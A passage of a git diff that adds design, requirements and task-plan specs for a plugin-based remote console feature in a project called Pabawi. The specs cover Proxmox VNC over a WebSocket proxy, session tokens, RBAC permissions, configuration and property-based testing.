wss://proxmox:port/?ticket=yyy + PVNC-->>WSP: connected + WSP-->>F: WS upgrade complete + + loop Binary Relay + F->>WSP: binary frame (keyboard/mouse) + WSP->>PVNC: forward unchanged + PVNC->>WSP: binary frame (screen update) + WSP->>F: forward unchanged + end + + F->>WSP: close + WSP->>PVNC: close + WSP->>SM: terminateSession(sessionId) + SM->>DB: UPDATE state = 'terminated' +``` + +## Components and Interfaces + +### ConsolePlugin Interface + +```typescript +import type { IntegrationPlugin } from "./types"; + +/** Supported transport protocols */ +type ConsoleTransport = "websocket-vnc" | "websocket-terminal"; + +/** Describes a console capability for a node */ +interface ConsoleCapability { + transport: ConsoleTransport; + displayName: string; // max 100 chars + connectionSchema: Record; +} + +/** Session state machine */ +type ConsoleSessionState = "creating" | "active" | "terminated" | "failed"; + +/** Session status returned by getSessionStatus */ +interface ConsoleSessionStatus { + state: ConsoleSessionState; + startedAt: string; // ISO 8601 + error?: string; // present when state === "failed" +} + +/** Full session object returned by createSession */ +interface ConsoleSession { + sessionId: string; + token: string; // session token for WS auth + wsUrl: string; // relative WebSocket URL + transport: ConsoleTransport; + state: ConsoleSessionState; + startedAt: string; + nodeId: string; + userId: string; + provider: string; +} + +/** Console plugin interface — third plugin type alongside execution/information */ +interface ConsolePlugin extends IntegrationPlugin { + getConsoleCapabilities(nodeId: string): Promise; + createSession(nodeId: string, userId: string): Promise; + terminateSession(sessionId: string): Promise; + getSessionStatus(sessionId: string): Promise; + getSupportedTransports(): ConsoleTransport[]; +} +``` + +### IntegrationManager Extension + +```typescript +// Added to IntegrationManager alongside executionTools and informationSources +private consoleProviders = new Map(); + +// Registration detects ConsolePlugin via type guard +private isConsolePlugin(plugin: IntegrationPlugin): plugin is ConsolePlugin { + return "getConsoleCapabilities" in plugin + && "createSession" in plugin + && "terminateSession" in plugin; +} + +// During registerPlugin: +if (this.isConsolePlugin(plugin)) { + this.consoleProviders.set(plugin.name, plugin); +} + +// New public methods: +getConsoleProvider(name: string): ConsolePlugin | null; +getAllConsoleProviders(): ConsolePlugin[]; +async getConsoleAvailability(nodeId: string): Promise; +``` + +### ConsoleSessionManager Service + +Manages session state, token generation/validation, timeout enforcement, and concurrent session limiting. + +```typescript +class ConsoleSessionManager { + constructor( + private db: DatabaseAdapter, + private config: ConsoleConfig, + private logger: LoggerService, + private auditLogger: AuditLoggingService, + ) {} + + /** Generate a cryptographically random session token (32+ bytes) */ + generateToken(): string; + + /** Store a new session and its token */ + async createSession(session: ConsoleSession): Promise; + + /** Validate token: exists, not expired (60s), owned by userId */ + async validateToken(token: string, userId: string): Promise; + + /** Mark token as used (consumed on WS upgrade) */ + async consumeToken(token: string): Promise; + + /** Record heartbeat for a session */ + async heartbeat(sessionId: string): Promise; + + /** Terminate a session and record audit */ + async terminateSession(sessionId: string, reason: string): Promise; + + /** Get count of active sessions for a user */ + async getActiveSessionCount(userId: string): Promise; + + /** Terminate all sessions for a provider (used on restart) */ + async terminateAllForProvider(provider: string): Promise; + + /** Cleanup expired sessions (called on interval) */ + async cleanupExpiredSessions(): Promise; + + /** Get session by ID */ + async getSession(sessionId: string): Promise; +} +``` + +### WebSocket Proxy Server + +```typescript +import { WebSocketServer, WebSocket } from "ws"; +import type { Server as HTTPServer } from "http"; + +class ConsoleWebSocketProxy { + private wss: WebSocketServer; + + constructor( + httpServer: HTTPServer, + private sessionManager: ConsoleSessionManager, + private config: ConsoleConfig, + private logger: LoggerService, + ) { + // Two paths: /ws/console/vnc and /ws/console/terminal + this.wss = new WebSocketServer({ noServer: true }); + + httpServer.on("upgrade", (req, socket, head) => { + // Origin validation + // Path routing + // Token extraction from query params + this.handleUpgrade(req, socket, head); + }); + } + + /** Handle VNC binary relay */ + private async handleVncConnection( + clientWs: WebSocket, + session: ConsoleSession, + upstreamUrl: string, + ): Promise; + + /** Handle terminal text/binary relay */ + private async handleTerminalConnection( + clientWs: WebSocket, + session: ConsoleSession, + upstreamUrl: string, + ): Promise; +} +``` + +### Console Route Factory + +```typescript +// backend/src/routes/console.ts +export function createConsoleRouter( + container: DIContainer, + integrationManager: IntegrationManager, + sessionManager: ConsoleSessionManager, + db: DatabaseAdapter, +): Router; +``` + +**Endpoints:** + +| Method | Path | Auth | Permission | Description | +|--------|------|------|------------|-------------| +| GET | `/api/console/availability/:nodeId` | JWT | `console:access` | Get available console options for a node | +| POST | `/api/console/sessions` | JWT | `console:access` | Create a console session | +| DELETE | `/api/console/sessions/:sessionId` | JWT | `console:access` or `console:admin` | Terminate a session | +| GET | `/api/console/sessions/:sessionId` | JWT | `console:access` | Get session status | +| POST | `/api/console/sessions/:sessionId/heartbeat` | JWT | `console:access` | Send heartbeat | + +### ProxmoxConsoleProvider + +Extends the existing `ProxmoxIntegration` class or lives as a companion that delegates to `ProxmoxService` for API calls. + +```typescript +class ProxmoxConsoleProvider implements ConsolePlugin { + constructor( + private proxmoxService: ProxmoxService, + private logger: LoggerService, + ) {} + + async getConsoleCapabilities(nodeId: string): Promise { + // Check if guest exists and is running + // Return [{transport: "websocket-vnc", displayName: "VNC Console", ...}] + } + + async createSession(nodeId: string, userId: string): Promise { + // 1. Determine guest type (qemu/lxc) from nodeId + // 2. Verify guest is running + // 3. POST /nodes/{node}/{type}/{vmid}/vncproxy → {ticket, port} + // 4. Build upstream WS URL: wss://proxmox:port/...?vncticket=xxx + // 5. Return ConsoleSession with token, wsUrl + } + + getSupportedTransports(): ConsoleTransport[] { + return ["websocket-vnc"]; + } +} +``` + +### Frontend: ConsoleViewer Component + +A single Svelte 5 component at `frontend/src/components/ConsoleViewer.svelte` that: + +1. Accepts `nodeId` and `capabilities` props +2. Renders transport-appropriate sub-component: + - noVNC canvas for `websocket-vnc` + - xterm.js terminal for `websocket-terminal` +3. Manages connection lifecycle (connect, heartbeat, disconnect) +4. Displays status indicator (`connecting` | `connected` | `disconnected`) +5. Handles error close codes (4401, 4502, 4408, 4504) with user-facing messages +6. Provides full-screen toggle +7. Uses `navigator.sendBeacon` for cleanup on page unload + +State is managed via Svelte runes (`$state`, `$effect`) inside the component. No separate `.svelte.ts` store file needed — console state is scoped to the viewer's lifecycle. + +## Data Models + +### Database Schema: `console_sessions` + +Migration file: `018_console_sessions.sql` + +```sql +CREATE TABLE console_sessions ( + id TEXT PRIMARY KEY, + user_id TEXT NOT NULL, + node_id TEXT NOT NULL, + provider TEXT NOT NULL, + transport TEXT NOT NULL, + state TEXT NOT NULL DEFAULT 'creating', + token TEXT, + token_created_at TEXT, + token_consumed INTEGER NOT NULL DEFAULT 0, + upstream_url TEXT, + started_at TEXT NOT NULL, + last_heartbeat_at TEXT, + terminated_at TEXT, + error_message TEXT, + created_at TEXT NOT NULL DEFAULT (datetime('now')), + CONSTRAINT chk_state CHECK (state IN ('creating', 'active', 'terminated', 'failed')), + CONSTRAINT chk_transport CHECK (transport IN ('websocket-vnc', 'websocket-terminal')) +); + +CREATE INDEX idx_console_sessions_user_id ON console_sessions(user_id); +CREATE INDEX idx_console_sessions_state ON console_sessions(state); +CREATE INDEX idx_console_sessions_token ON console_sessions(token); +``` + +### Console Configuration (Zod Schema Addition) + +```typescript +// Added to backend/src/config/schema.ts +export const ConsoleConfigSchema = z.object({ + sessionTimeoutMs: z.number().int().positive().default(300000), + maxSessionDuration: z.number().int().positive().default(28800000), + maxConcurrentSessions: z.number().int().min(1).default(3), + heartbeatIntervalMs: z.number().int().positive().default(30000), +}); + +export type ConsoleConfig = z.infer; +``` + +Added to `AppConfigSchema`: +```typescript +console: ConsoleConfigSchema.default({ + sessionTimeoutMs: 300000, + maxSessionDuration: 28800000, + maxConcurrentSessions: 3, + heartbeatIntervalMs: 30000, +}), +``` + +### RBAC Permissions (Migration) + +Migration file: `019_console_permissions.sql` + +```sql +INSERT INTO permissions (id, resource, action, description) +VALUES + (lower(hex(randomblob(16))), 'console', 'access', 'Access console sessions for nodes'), + (lower(hex(randomblob(16))), 'console', 'admin', 'Manage other users console sessions'); + +-- Grant console:access to operator and admin roles +INSERT INTO role_permissions (role_id, permission_id) +SELECT r.id, p.id +FROM roles r, permissions p +WHERE r.name IN ('operator', 'admin') + AND p.resource = 'console' AND p.action = 'access'; + +-- Grant console:admin to admin role only +INSERT INTO role_permissions (role_id, permission_id) +SELECT r.id, p.id +FROM roles r, permissions p +WHERE r.name = 'admin' + AND p.resource = 'console' AND p.action = 'admin'; +``` + +## Correctness Properties + +*A property is a characteristic or behavior that should hold true across all valid executions of a system — essentially, a formal statement about what the system should do. Properties serve as the bridge between human-readable specifications and machine-verifiable correctness guarantees.* + +### Property 1: Console provider registration invariant + +*For any* plugin that implements the `ConsolePlugin` interface, after registration with `IntegrationManager`, it SHALL appear in the console providers map and be retrievable by name. + +**Validates: Requirements 1.4** + +### Property 2: Session token validation correctness + +*For any* session token, the WebSocket validation function SHALL accept the token if and only if: it exists in the database, was created less than 60 seconds ago, has not been consumed, and the connecting user matches the session owner. All other tokens SHALL be rejected with close code 4401. + +**Validates: Requirements 4.2, 4.3, 5.2, 5.3, 8.1, 8.2** + +### Property 3: Binary frame relay integrity + +*For any* binary data frame sent through the VNC WebSocket proxy in either direction, the frame SHALL arrive at the other end byte-for-byte identical to what was sent. + +**Validates: Requirements 4.4** + +### Property 4: Terminal resize dimension validation + +*For any* resize control message, the system SHALL propagate the resize if columns are in [1, 500] and rows are in [1, 200]. For any values outside these ranges, the message SHALL be discarded without terminating the session. + +**Validates: Requirements 5.5, 5.8** + +### Property 5: RBAC enforcement for session creation + +*For any* user requesting console session creation, the system SHALL allow the request if and only if the user holds the `console:access` permission. Users without this permission SHALL receive a 403 response. + +**Validates: Requirements 6.2, 6.3** + +### Property 6: RBAC enforcement for cross-user termination + +*For any* user attempting to terminate a console session they do not own, the system SHALL allow the operation if and only if the user holds the `console:admin` permission. Users owning their own session need only `console:access`. + +**Validates: Requirements 6.4, 6.5, 6.6, 8.3** + +### Property 7: Concurrent session limit enforcement + +*For any* user who has reached the configured `maxConcurrentSessions` limit (default 3), new session creation requests SHALL be rejected with HTTP 429 status. + +**Validates: Requirements 8.6** + +### Property 8: Session record completeness + +*For any* created console session, the stored record SHALL contain non-null values for: session ID, user ID, node ID, provider name, creation timestamp, and last heartbeat timestamp. + +**Validates: Requirements 2.7** + +### Property 9: Audit log completeness for session events + +*For any* session creation or termination event, an audit log entry SHALL be recorded containing the user ID, node ID, provider name, action type, and ISO 8601 timestamp. + +**Validates: Requirements 8.4** + +### Property 10: Availability response structure and ordering + +*For any* console availability query returning multiple providers, each entry SHALL contain provider name, transport type, and display label, and entries SHALL be sorted by provider name in ascending alphabetical order. + +**Validates: Requirements 3.3, 3.4** + +### Property 11: Unsupported node returns empty availability + +*For any* node ID not supported by any registered console provider, the availability query SHALL return an empty array. + +**Validates: Requirements 3.2** + +### Property 12: Guest type routing correctness + +*For any* Proxmox guest, the console provider SHALL use the `/qemu/{vmid}/vncproxy` endpoint for QEMU guests and `/lxc/{vmid}/vncproxy` endpoint for LXC guests. + +**Validates: Requirements 9.4** + +### Property 13: Non-running guest rejection + +*For any* Proxmox guest not in the "running" state, console session creation SHALL fail with an error message indicating the guest must be running. + +**Validates: Requirements 9.6** + +### Property 14: Configuration parsing with defaults + +*For any* console environment variable that contains a non-numeric, non-integer, or less-than-1 value, the system SHALL use the documented default and log a warning. Additionally, if `heartbeatIntervalMs >= sessionTimeoutMs`, both SHALL revert to their defaults. + +**Validates: Requirements 11.1, 11.2, 11.3, 11.4, 11.5, 11.6** + +### Property 15: Unhealthy provider exclusion + +*For any* console provider that is unavailable or fails its health check, the system SHALL exclude it from availability responses while still returning results from healthy providers. + +**Validates: Requirements 10.1** + +### Property 16: Malformed control message resilience + +*For any* binary control frame received on a terminal WebSocket with an unrecognized message type byte or a payload shorter than expected for the declared type, the system SHALL discard the frame and continue relaying without terminating the session. + +**Validates: Requirements 5.8** + +## Error Handling + +### WebSocket Close Codes + +| Code | Meaning | When Used | +|------|---------|-----------| +| 4401 | Authentication failed | Invalid or expired session token | +| 4408 | Session duration exceeded | Max session duration reached | +| 4502 | Upstream failure | Provider connection dropped | +| 4504 | Connection timeout | Upstream failed to connect within 10s | + +### REST API Error Responses + +| Status | Condition | Body | +|--------|-----------|------| +| 403 | Missing `console:access` or `console:admin` | `{error: {code: "FORBIDDEN", message: "..."}}` | +| 404 | Session or node not found | `{error: {code: "NOT_FOUND", message: "..."}}` | +| 429 | Concurrent session limit reached | `{error: {code: "TOO_MANY_SESSIONS", message: "..."}}` | +| 502 | Provider unavailable or upstream error | `{error: {code: "PROVIDER_ERROR", message: "..."}}` | +| 504 | Session creation timeout (>30s) | `{error: {code: "TIMEOUT", message: "..."}}` | + +### Graceful Degradation Strategy + +- Provider health check failures → exclude from availability, don't affect other routes +- WebSocket proxy upstream drop → close client with 4502, terminate session, log +- Backend restart → mark all sessions terminated before accepting new ones +- Token expiry race condition → client gets 4401, can re-create session via REST + +## Testing Strategy + +### Property-Based Testing (fast-check) + +Property-based testing applies to this feature. The core logic around token validation, session state management, configuration parsing, and RBAC enforcement involves pure functions or clearly defined input/output behavior with large input spaces. + +**Library:** `fast-check` (already in project) +**Minimum iterations:** 100 per property test +**Tag format:** `Feature: console-integration, Property {N}: {title}` + +Properties to implement as PBT: +- Property 2 (token validation) — generate random tokens, timestamps, user IDs +- Property 4 (resize validation) — generate random dimension pairs +- Property 5 (RBAC creation) — generate random user/permission combinations +- Property 6 (RBAC cross-user termination) — generate random user/owner/permission combinations +- Property 7 (concurrent limit) — generate random session counts +- Property 8 (session record completeness) — generate random session inputs +- Property 10 (availability ordering) — generate random provider name arrays +- Property 14 (config parsing) — generate random env var values + +### Unit Tests (Vitest) + +- `ConsoleSessionManager`: session lifecycle, token generation, cleanup +- `ProxmoxConsoleProvider`: VNC ticket acquisition, guest type routing, error handling +- `ConsoleWebSocketProxy`: token extraction, origin validation, close code handling +- Config parsing: valid/invalid env vars, cross-field validation +- Route handlers: request validation, RBAC checks, response format + +### Integration Tests + +- Full session flow: create → WebSocket connect → relay → terminate +- Provider unavailability: health check failure → exclusion from availability +- Concurrent session enforcement across multiple requests +- Database: migration, session CRUD, cleanup queries + +### Frontend Tests + +- `ConsoleViewer.svelte`: transport-based rendering, status indicator, error display +- WebSocket lifecycle: connect, heartbeat timer, disconnect cleanup +- `sendBeacon` on page unload diff --git a/.kiro/specs/console-integration/requirements.md b/.kiro/specs/console-integration/requirements.md new file mode 100644 index 00000000..d638194c --- /dev/null +++ b/.kiro/specs/console-integration/requirements.md @@ -0,0 +1,178 @@ +# Requirements Document + +## Introduction + +This document specifies a generic console integration framework for Pabawi. The framework introduces a new `ConsolePlugin` interface that any integration can implement to provide remote console/terminal access to VMs, containers, or cloud instances. The initial implementation targets Proxmox (VNC/noVNC), with AWS (Systems Manager Session Manager) and Azure (Serial Console/Bastion) as future consumers. + +The console framework covers session lifecycle management, transport abstraction (WebSocket proxy for VNC, HTTP/SSE for terminal-based sessions), frontend UI embedding, RBAC-gated access, and discovery of console availability per node. + +## Glossary + +- **Console_Plugin**: A plugin interface extending the Pabawi integration system that provides remote console/terminal access to infrastructure nodes +- **Console_Session**: A server-side object representing an active console connection, tracking state, ownership, and timeout +- **Transport_Type**: The mechanism used to relay console data between the frontend and the target node (e.g., `websocket-vnc`, `websocket-terminal`, `sse-terminal`) +- **Session_Token**: A short-lived, cryptographically random token that authorizes a specific WebSocket or SSE connection to an established console session +- **Console_Provider**: A registered integration (e.g., Proxmox, AWS, Azure) that implements the Console_Plugin interface for its managed nodes +- **Integration_Manager**: The central Pabawi service that registers plugins and routes requests to the correct provider +- **Node**: A managed infrastructure entity (VM, container, or cloud instance) identified by a canonical node ID +- **RBAC_System**: The existing role-based access control system that gates feature access via resource+action permission checks +- **Heartbeat**: A periodic signal from the frontend to the backend indicating the console session is still actively used +- **Session_Timeout**: The maximum duration a console session can remain idle (no heartbeat) before automatic termination +- **noVNC**: A browser-based VNC client that communicates over WebSocket + +## Requirements + +### Requirement 1: ConsolePlugin Interface Definition + +**User Story:** As a plugin developer, I want a well-defined ConsolePlugin interface, so that I can implement console access for any infrastructure integration. + +#### Acceptance Criteria + +1. THE Console_Plugin interface SHALL extend IntegrationPlugin and define methods for `getConsoleCapabilities(nodeId: string)` returning an array of `ConsoleCapability`, `createSession(nodeId: string, userId: string)` returning a `ConsoleSession` object containing at minimum a session identifier and connection details, `terminateSession(sessionId: string)` returning a boolean indicating success, and `getSessionStatus(sessionId: string)` returning a `ConsoleSessionStatus` object containing the current session state +2. THE Console_Plugin interface SHALL define a `ConsoleCapability` type containing a `transport` field constrained to a string union of supported protocols (e.g., `websocket-vnc`, `websocket-terminal`), a `displayName` field of at most 100 characters, and a `connectionSchema` field represented as a record describing the required connection parameters for that transport +3. THE Console_Plugin interface SHALL define a `ConsoleSessionStatus` type containing a `state` field constrained to one of `creating`, `active`, `terminated`, or `failed`, a `startedAt` timestamp, and an optional `error` field present when state is `failed` +4. WHEN a plugin implements Console_Plugin, THE Integration_Manager SHALL store the plugin in a dedicated console providers map (analogous to the existing `executionTools` and `informationSources` maps) during registration +5. THE Console_Plugin interface SHALL define a `getSupportedTransports()` method that returns an array of strings representing the transport protocols the provider supports, containing at least 1 and at most 10 entries +6. IF `createSession` is called with a `nodeId` for which the plugin has no console capability, THEN THE Console_Plugin SHALL reject with a typed error indicating the node does not support console access via that provider +7. IF `terminateSession` is called with a `sessionId` that does not exist or has already been terminated, THEN THE Console_Plugin SHALL return false without throwing + +### Requirement 2: Console Session Lifecycle + +**User Story:** As a user, I want console sessions to be properly managed from creation to termination, so that resources are not leaked and connections are reliable. + +#### Acceptance Criteria + +1. WHEN a user requests a console session, THE Console_Session SHALL transition through states: `creating` → `active` → `terminated`, where the `creating` state SHALL NOT exceed 30 seconds before the session transitions to either `active` or `failed` +2. WHEN a Console_Session enters the `active` state, THE Console_Plugin SHALL return a Session_Token and connection parameters (URL, transport type, protocol-specific metadata) +3. WHILE a Console_Session is in the `active` state, THE Console_Plugin SHALL accept heartbeat signals to reset the idle timeout +4. IF a Console_Session does not receive a Heartbeat within the configured Session_Timeout, THEN THE Console_Plugin SHALL terminate the session, close any upstream provider connection, and update the session record state to `terminated` +5. WHEN a user explicitly disconnects, THE Console_Plugin SHALL terminate the session, close any upstream provider connection, and update the session record state to `terminated` within 5 seconds +6. IF the backend process restarts, THEN THE Console_Plugin SHALL mark all pre-existing sessions for the provider as `terminated` before accepting new session creation requests +7. THE Console_Session SHALL record the creating user ID, creation timestamp, last heartbeat timestamp, and provider name +8. IF session creation fails due to provider unavailability or upstream error, THEN THE Console_Plugin SHALL transition the session to a `failed` state and return an error message indicating the provider-specific failure reason + +### Requirement 3: Console Availability Discovery + +**User Story:** As a user, I want to know which nodes support console access and through which provider, so that I can open a console from the node detail page. + +#### Acceptance Criteria + +1. WHEN the frontend requests console availability for a node, THE Integration_Manager SHALL query all registered Console_Plugin providers in parallel and return an array of available console capabilities within 2 seconds +2. IF no Console_Plugin provider supports console access for a given node, THEN THE Integration_Manager SHALL return an empty capabilities array +3. WHEN the Integration_Manager constructs a console availability response, THE Integration_Manager SHALL include the provider name, transport type, and display label for each available console option +4. WHEN multiple Console_Plugin providers offer console access for the same node, THE Integration_Manager SHALL return all options sorted by provider name in ascending alphabetical order +5. IF a Console_Plugin provider does not respond within 3 seconds during capability discovery, THEN THE Integration_Manager SHALL exclude that provider from the response and include the remaining results + +### Requirement 4: WebSocket Transport for VNC + +**User Story:** As a user, I want to access VNC consoles through a WebSocket proxy, so that I can interact with graphical VM consoles in my browser. + +#### Acceptance Criteria + +1. WHEN a Console_Session uses the `websocket-vnc` transport type, THE backend SHALL establish a WebSocket endpoint that proxies traffic between the frontend noVNC client and the target VNC server +2. WHEN a client initiates a WebSocket connection to the VNC proxy endpoint, THE WebSocket proxy SHALL extract the Session_Token from the `token` query parameter and validate that the token exists, has not expired, and maps to a Console_Session owned by the connecting user before relaying any data +3. IF the Session_Token is invalid or expired, THEN THE WebSocket proxy SHALL reject the connection with a 4401 close code and an error reason +4. WHILE the WebSocket proxy is relaying data, THE proxy SHALL forward binary frames bidirectionally without modification +5. IF the upstream VNC connection drops, THEN THE WebSocket proxy SHALL close the client WebSocket with a 4502 close code indicating upstream failure +6. IF the client WebSocket closes (intentionally or unexpectedly), THEN THE WebSocket proxy SHALL close the upstream VNC connection and release associated resources within 5 seconds +7. IF the upstream VNC connection cannot be established within 10 seconds of session creation, THEN THE WebSocket proxy SHALL close the client WebSocket with a 4504 close code indicating connection timeout +8. WHEN the maximum session duration (configured via `console.maxSessionDuration`, default 8 hours) is reached, THE WebSocket proxy SHALL close the client WebSocket with a 4408 close code indicating session duration exceeded + +### Requirement 5: Terminal-Based Transport + +**User Story:** As a user, I want to access text-based consoles (SSH, serial console, SSM) through a WebSocket terminal stream, so that I can interact with CLI-based sessions in my browser. + +#### Acceptance Criteria + +1. WHEN a Console_Session uses the `websocket-terminal` transport type, THE backend SHALL establish a WebSocket endpoint that relays terminal I/O between the frontend terminal emulator and the provider's session +2. THE WebSocket terminal endpoint SHALL validate the Session_Token on the initial connection handshake before relaying data +3. IF the Session_Token is invalid or expired, THEN THE WebSocket terminal endpoint SHALL reject the connection with a 4401 close code and an error reason indicating whether the token was invalid or expired +4. THE WebSocket terminal endpoint SHALL support UTF-8 text frames for terminal I/O and binary frames for control messages (resize events) +5. WHEN the frontend sends a resize control message with valid dimensions (columns between 1 and 500, rows between 1 and 200), THE Console_Plugin SHALL propagate the new terminal dimensions to the remote session +6. IF the upstream provider connection drops while the terminal session is active, THEN THE WebSocket terminal endpoint SHALL close the client WebSocket with a 4502 close code indicating upstream failure and terminate the Console_Session +7. THE WebSocket terminal endpoint SHALL enforce the configured `console.maxSessionDuration` limit, closing the connection with a 4408 close code when the maximum duration is reached +8. IF the WebSocket terminal endpoint receives a binary control message with an unrecognized message type byte or a frame shorter than the expected payload length for the declared type, THEN THE endpoint SHALL discard the frame and continue relaying without terminating the session + +### Requirement 6: RBAC and Authorization + +**User Story:** As an administrator, I want console access to be gated by RBAC permissions, so that only authorized users can open console sessions. + +#### Acceptance Criteria + +1. THE RBAC_System SHALL define a `console` resource with `access` and `admin` actions +2. WHEN a user requests to create a Console_Session, THE backend SHALL verify the user holds the `console:access` permission before proceeding +3. IF a user does not hold the `console:access` permission, THEN THE backend SHALL reject the Console_Session creation request with a 403 response indicating the `console:access` permission is required +4. WHEN a user requests to terminate a Console_Session owned by a different user, THE backend SHALL verify the requesting user holds the `console:admin` permission before proceeding +5. IF a user requests to terminate a Console_Session owned by a different user and does not hold the `console:admin` permission, THEN THE backend SHALL reject the request with a 403 response indicating the `console:admin` permission is required +6. WHEN a user requests to terminate their own Console_Session, THE backend SHALL allow the operation if the user holds the `console:access` permission without requiring `console:admin` +7. THE RBAC_System SHALL use the unscoped `console:access` and `console:admin` permissions without per-integration scoping + +### Requirement 7: Frontend Console UI + +**User Story:** As a user, I want an embedded console viewer on the node detail page, so that I can interact with remote consoles without leaving Pabawi. + +#### Acceptance Criteria + +1. WHEN a user opens a console session from the node detail page, THE frontend SHALL render an embedded console component appropriate to the transport type (noVNC viewer for `websocket-vnc`, xterm.js terminal for `websocket-terminal`) +2. THE frontend console component SHALL display a connection status indicator showing `connecting`, `connected`, or `disconnected` states +3. WHILE the console session is in the `active` state, THE frontend SHALL send Heartbeat signals to the backend every 30 seconds and SHALL stop sending heartbeats when the connection status transitions to `disconnected` +4. WHEN the user closes the console component or navigates away, THE frontend SHALL send a terminate request to the backend using a best-effort delivery mechanism (e.g., `navigator.sendBeacon` or fire-and-forget fetch) to maximize delivery during page unload +5. IF the WebSocket connection closes with code 4401 (invalid or expired token), THEN THE frontend SHALL display an error message indicating the session authorization failed and offer an option to create a new session +6. IF the WebSocket connection closes with code 4502 (upstream target failure), THEN THE frontend SHALL display an error message indicating the remote host connection was lost and offer an option to create a new session +7. IF the WebSocket connection drops unexpectedly (close codes other than 4401, 4502, or normal closure initiated by the frontend), THEN THE frontend SHALL display a reconnection prompt with an option to create a new session +8. WHEN establishing the WebSocket connection, THE frontend SHALL pass the Session_Token received from session creation as a query parameter on the WebSocket handshake URL +9. THE frontend console component SHALL provide a full-screen toggle for the console viewport + +### Requirement 8: Security and Session Isolation + +**User Story:** As an administrator, I want console sessions to be isolated and auditable, so that the system maintains security boundaries. + +#### Acceptance Criteria + +1. THE Session_Token SHALL be a cryptographically random string of at least 32 bytes, generated using a secure random source +2. IF a Session_Token is not used to establish a WebSocket connection within 60 seconds of creation, THEN THE backend SHALL invalidate the token and reject any subsequent connection attempt using that token with an error indicating the token has expired +3. IF a user without `console:admin` permission attempts to access a Console_Session they did not create, THEN THE backend SHALL reject the request with a 403 status and an error indicating insufficient permissions +4. WHEN a Console_Session is created or terminated, THE backend SHALL record an audit log entry containing the user ID, node ID, provider, action, and timestamp +5. IF a WebSocket connection request presents an Origin header that does not match the configured allowed origins, THEN THE WebSocket proxy SHALL reject the connection before the upgrade completes +6. IF a user has more than 3 concurrent active Console_Sessions, THEN THE backend SHALL reject new session creation with a 429 status and an error indicating the concurrent session limit +7. WHEN a Console_Session is terminated or its Session_Token is invalidated, THE backend SHALL close the associated WebSocket connection within 5 seconds + +### Requirement 9: Proxmox Console Provider (Initial Implementation) + +**User Story:** As a user with Proxmox VMs or LXC containers, I want to open VNC consoles to my Proxmox guests, so that I can interact with them graphically. + +#### Acceptance Criteria + +1. THE Proxmox Console_Provider SHALL implement the Console_Plugin interface and register with the Integration_Manager when the Proxmox integration is enabled +2. WHEN a user requests console access for a Proxmox node, THE Proxmox Console_Provider SHALL request a VNC proxy ticket from the Proxmox API using the endpoint corresponding to the guest type (`qemu` or `lxc`) +3. WHEN the Proxmox API returns a VNC proxy ticket, THE Proxmox Console_Provider SHALL use the ticket to establish a WebSocket connection to the Proxmox VNC WebSocket endpoint +4. WHEN creating a session for a Proxmox guest, THE Proxmox Console_Provider SHALL determine the guest type and use the QEMU vncproxy endpoint for `qemu` guests and the LXC vncproxy endpoint for `lxc` guests +5. IF the Proxmox API returns an authentication error when requesting a VNC ticket, THEN THE Proxmox Console_Provider SHALL return a session creation failure with an error message indicating the authentication failure reason returned by the Proxmox API +6. IF the target guest is not in the `running` state when a VNC session is requested, THEN THE Proxmox Console_Provider SHALL return a session creation failure with an error message indicating that the guest must be running for console access +7. IF the Proxmox API returns a non-authentication error (connection timeout, unreachable host, or resource not found) when requesting a VNC ticket, THEN THE Proxmox Console_Provider SHALL return a session creation failure with an error message indicating the specific failure category +8. THE Proxmox Console_Provider SHALL advertise the `websocket-vnc` transport type in its console capabilities + +### Requirement 10: Graceful Degradation + +**User Story:** As a user, I want the console feature to degrade gracefully when console access is unavailable, so that the rest of the application remains fully functional. + +#### Acceptance Criteria + +1. IF a Console_Plugin provider is unavailable or unhealthy, THEN THE Integration_Manager SHALL exclude the provider from console availability responses and return the remaining available providers within the standard API response time, without affecting other application functionality +2. IF console session creation fails, THEN THE frontend SHALL display an error message with the provider-specific reason and offer a retry option that is available up to 3 consecutive attempts before disabling the retry button and displaying a message indicating the provider may be unavailable +3. IF no Console_Plugin providers are registered or all registered Console_Plugin providers are unhealthy, THEN THE frontend SHALL hide all console-related UI elements from the node detail page +4. IF the WebSocket proxy loses connection to the upstream target during an active session, THEN THE backend SHALL terminate the Console_Session and notify the frontend with a WebSocket close frame using close code 4502 +5. WHEN the frontend requests console availability for a node, THE frontend SHALL load and render the node detail page independently of the console availability response, treating the console availability check as a non-blocking asynchronous request that populates the console UI section upon completion + +### Requirement 11: Configuration + +**User Story:** As an administrator, I want to configure console behavior through environment variables, so that I can tune timeouts and limits without code changes. + +#### Acceptance Criteria + +1. THE ConfigService SHALL expose a `console.sessionTimeoutMs` setting, sourced from the `CONSOLE_SESSION_TIMEOUT_MS` environment variable, validated as a positive integer, with a default value of 300000 milliseconds (5 minutes) +2. THE ConfigService SHALL expose a `console.maxSessionDuration` setting, sourced from the `CONSOLE_MAX_SESSION_DURATION` environment variable, validated as a positive integer, with a default value of 28800000 milliseconds (8 hours) +3. THE ConfigService SHALL expose a `console.maxConcurrentSessions` setting, sourced from the `CONSOLE_MAX_CONCURRENT_SESSIONS` environment variable, validated as a positive integer with a minimum value of 1, with a default value of 3 +4. THE ConfigService SHALL expose a `console.heartbeatIntervalMs` setting, sourced from the `CONSOLE_HEARTBEAT_INTERVAL_MS` environment variable, validated as a positive integer, with a default value of 30000 milliseconds (30 seconds) +5. IF any console configuration environment variable contains a value that is non-numeric, not an integer, or less than 1, THEN THE ConfigService SHALL use the default value for that setting and log a warning via LoggerService with component "ConfigService" indicating which variable was invalid and what default was applied +6. WHEN the ConfigService initializes, THE ConfigService SHALL validate that `console.heartbeatIntervalMs` is less than `console.sessionTimeoutMs`, and if not, SHALL use the default values for both settings and log a warning diff --git a/.kiro/specs/console-integration/tasks.md b/.kiro/specs/console-integration/tasks.md new file mode 100644 index 00000000..4fb928b0 --- /dev/null +++ b/.kiro/specs/console-integration/tasks.md @@ -0,0 +1,234 @@ +# Implementation Plan: Console Integration + +## Overview + +This plan implements the console integration framework for Pabawi — a plugin-based system that enables remote console/terminal access (VNC, terminal) to managed infrastructure nodes. The initial implementation targets Proxmox VNC consoles. The work is broken into phases: core types and configuration, session management, WebSocket proxy, Proxmox provider, REST routes, and frontend UI. + +## Tasks + +- [x] 1. Core types, configuration, and database schema + - [x] 1.1 Define ConsolePlugin interface and related types + - Create `backend/src/integrations/console/types.ts` with `ConsoleTransport`, `ConsoleCapability`, `ConsoleSessionState`, `ConsoleSessionStatus`, `ConsoleSession`, and `ConsolePlugin` interface extending `IntegrationPlugin` + - Export all types for use by providers, session manager, and routes + - _Requirements: 1.1, 1.2, 1.3, 1.5, 